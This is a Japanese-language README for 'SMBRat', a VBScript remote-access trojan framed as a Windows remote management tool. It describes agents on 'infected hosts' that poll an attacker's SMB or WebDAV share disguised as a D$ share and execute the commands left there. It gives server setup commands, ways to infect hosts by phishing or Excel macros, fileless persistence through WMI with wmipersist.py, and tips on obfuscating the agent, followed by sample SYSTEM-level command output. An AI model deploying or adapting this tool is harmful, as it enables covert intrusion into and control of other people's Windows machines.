
Visual Basicで記述された、UNCパス対応のWindowsリモート管理ツール
Visual Basic Script による Windows リモート管理ツール
Active Directory ネットワークのような Windows 環境 では、SMB トラフィックが非常に増大します。
すべてのホストは SYSVOL から ポリシー を取得し、設定はリモートファイルを必要とし、デスクトップショートカットは \\何か\別の場所\network.exe を指す傾向があります。
もう一度接続を試みても誰も気づかないでしょう。そうでしょう?
- 特に成功した場合(ファイアウォール 拒否 のみを監視するのが一般的です)
agent は、感染したホスト上で実行され、SMB サーバー に接続する Visual Basic Script です。ホストの hostname とプライマリ MAC アドレスにちなんで名付けられたディレクトリをそこに作成します(レポート目的で ユニーク かつ 情報豊富 であることを目指しています)。感染したホストに対するすべてのコマンドと情報はこのディレクトリに保存されます。共有フォルダ全体を zip 圧縮すれば、すべてのプロジェクト情報がアーカイブされます!
共有を マウント するためにドライブ文字を使用 しません。UNC パス を使用してリモートファイルを直接読み取ります(explorer.exe には ドライブ は作成されません)。
また、自身の実行環境の %PATH% 変数に UNC パス を注入します(Linux マシンのファイルシステムから実行ファイルを直接実行できます)。
agent は 一度だけ実行 するように設定されています。ステートレス に動作します。
そのルーチンは(おおよそ)次のとおりです:
exec.dat という名前のファイルを探します。cmd.exe /c <command> でコマンドとして実行します(半対話型シェル のように)。exec.dat の隣の)output.dat に保存されます。exec.dat ファイルを削除します。handler が動作するには SMB サーバー が必要です。Core Security's impacket パッケージの smbserver.py モジュールで十分です。
おそらく smbd でも動作するでしょうが、まだテストされていません。
正当な Windows ホストの SMB のように見せるために、D$ という名前の共有が必要です。
# mkdir Share
# smbserver.py -comment "My Share" "D$" Share/
Impacket v0.9.17-dev - Copyright 2002-2018 Core Security Technologies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
agent は UNC パスのみを使用するように設定されているため、WebDAV も 変更不要 で使用できます。
SMB サーバーの代わりに WebDAV サーバー を使用できます(SSL 対応の優れた WebDAV サーバーとしては wsgidav があります)。
# mkdir 'D$'
# wsgidav -p 80 -H 0.0.0.0 -r . --auth anonymous
[...] INFO : WsgiDAV/3.0.0 Python/2.7.16 Linux-4.19.0-kali3-amd64-x86_64-with-Kali-kali-rolling-kali-rolling
[...] INFO : Lock manager: LockManager(LockStorageDict)
[...] INFO : Property manager: None
[...] INFO : Domain controller: SimpleDomainController()
[...] INFO : Registered DAV providers by route:
[...] INFO : - '/:dir_browser': FilesystemProvider for path '/root/.virtualenvs/wsgidav/local/lib/python2.7/site-packages/wsgidav/dir_browser/htdocs' (Read-Only) (anonymous)
[...] INFO : - '/': FilesystemProvider for path '/tmp/DAV' (Read-Write) (anonymous)
[...] WARNING : Basic authentication is enabled: It is highly recommended to enable SSL.
[...] WARNING : Share '/:dir_browser' will allow anonymous read access.
[...] WARNING : Share '/' will allow anonymous write access.
[...] INFO : Running WsgiDAV/3.0.0 Cheroot/6.5.4 Python/2.7.16
[...] INFO : Serving on http://0.0.0.0:80 ...
[...] INFO : 192.168.163.130 - (anonymous) - [2019-04-18 14:57:53] "PROPFIND /D$/Project1/DESKTOP-I3NFOQ5-John-AA-BB-CC-DD-EE-FF/ping.dat" length=0, depth=0, elap=0.004sec -> 207 Multi-Status
SSL を使用する場合、UNC パスはわずかに変更する必要があります。
\\<サーバーIP>\DIR\
から:
\\<サーバーIP>@SSL@443\DIR\
この変更は ServerName agent.vbs 変数に対してのみ行うことができます。すべてのパスはこれによって構築されるためです。
SSL 証明書は、agent を実行しているシステムから 信頼されている 必要があることに注意してください。自己署名証明書は警告付きで 失敗します。
agent.vbs ファイルの先頭に While ループ と複数秒(10 秒が理想)の遅延文を追加すると、ダブルクリック / フィッシング / Excel マクロ などによって Windows ホストに感染させることができます。
1 秒の遅延を持つ VBS の while True ループは次のようになります:
Do While True
[...]
WScript.Sleep 1000
Loop
ただし、Windows ホストで RPC が有効になっている場合、WMI と素晴らしい impacket パッケージの例を使用して、次のようなコマンドで VBS ファイルを ファイルレスマルウェア としてインストールすることが可能です:
$ examples/wmipersist.py '<username>:<password>@<hostname/ipaddress>' install -vbs agent.vbs -name smbrat -timer 10
また、ローカルアクセスによって WMI ツールを使用して agent.vbs をファイルレスマルウェアとしてインストールすることも可能です。
Visual Basic Script は、難読化、base64 エンコード、最小化 をうまく行うことができます。
「デプロイ」前にひと手間かけると非常に便利です 😉
執筆時点では そのため、Handler シェルは実装されていませんwatch のようなコマンドを使用して output.dat ファイルを監視することで使用できます:
$ watch -n0.2 cat Share/projectName/DESKTOP-XXXXXXX-AA\:BB\:CC\:DD\:EE\:FF/output.dat
そして、echo で exec.dat ファイルに書き込みます:
$ echo 'whoami /all' > Share/projectName/DESKTOP-XXXXXXX-AA\:BB\:CC\:DD\:EE\:FF/exec.dat
handler.py実験的なシェルは次のように動作します:
$ python handler.py Share/
SMBRat>
# 新しいホストが感染したとき:
[+] Agent "DESKTOP-EG4OE7J" (00:0C:29:2B:9F:AF) just checked-in for Project: "projectName"
SMBRat> execall whoami /user
[>] Sending 'whoami /user' to "projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF" ...
SMBRat>
[<] Response from 'projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF':
USER INFORMATION
----------------
User Name SID
=================== ========
nt authority\system S-1-5-18
^^^^^^^^^^^^^^^^^^^^ projectName/DESKTOP-EG4OE7J-00:0C:29:2B:9F:AF ^^^^^^^^^^^^^^^^^^^^
SMBRat>
# tcpdump -i eth0 -A
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
[...]
15:25:06.695502 IP Deskjet-4540.microsoft-ds > 172.16.47.129.3128: Flags [P.], seq 2876:2971, ack 4791, win 2110, length 95 SMB PACKET: SMBreadX (REPLY)
E...,E@[email protected].../.../....8
.&Mi~.6P..>.......[.SMB........................
.@............ .;........... .net localgroup "administrators"
[...]
15:25:06.702916 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 4917:5111, ack 3097, win 2052, length 194 SMB PACKET: SMBtrans2 (REQUEST)
E...E.@......./.../..8..i~..
.'*P....b.......SMB2......................
.F..z.....(...........z.D.........}..........\.p.r.o.j.e.c.t.N.a.m.e.\.D.E.S.K.T.O.P.-.E.G.4.O.E.7.J.-.0.0.:.0.C.:.2.9.:.2.B.:.9.F.:.A.F.\.o.u.t.p.u.t...d.a.t...
[...]
15:25:06.751372 IP 172.16.47.129.3128 > Deskjet-4540.microsoft-ds: Flags [P.], seq 6049:6393, ack 3748, win 2050, length 344 SMB PACKET: SMBwrite (REQUEST)
[email protected]../.../..8..i~.
.).P....*.....T.SMB........................
.T....$.......'..$.Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Admin
Administrator
defaultuser0
The command completed successfully.
[...]
SMBv1 サーバー(例:impacket の smbserver.py)を使用すると、トラフィック(ファイルの 内容 と パス)が平文で転送されます。
すべてのエージェントが 共有全体 のファイルを変更できます。つまり、他のエージェントの exec.dat を変更できてしまいます。
smbmap で明らかになります:
$ smbmap -H 172.16.47.189
[+] Finding open SMB ports....
[+] User SMB session establishd on 172.16.47.189...
[+] IP: 172.16.47.189:445 Name: Deskjet-4540
Disk Permissions
---- -----------
D$ READ, WRITE
[!] Unable to remove test directory at \\172.16.47.189\D$\SVNRmxBFAO, plreae remove manually
IPC$ READ, WRITE
[!] Unable to remove test directory at \\172.16.47.189\IPC$\SVNRmxBFAO, plreae remove manually
smbmap の -u および -p パラメータがないことに注意してください。これは NULL セッション(FTP 匿名ログインのようなもの)です。誰でも共有ファイルを変更 でき、感染したすべてのマシンで リモートコード実行 が可能になります。
iptables を起動したほうが良いでしょう...execall netsh と入力すると、すべてのエージェントを失います。agent.vbs が netsh.exe シェルを起動し、その終了を待ってから内容を output.dat に書き込もうとするため、どのエージェントも応答しなくなります。しかし、どうなるでしょうか... それは 終了しません... netsh> が虚空を指したままハングアップします。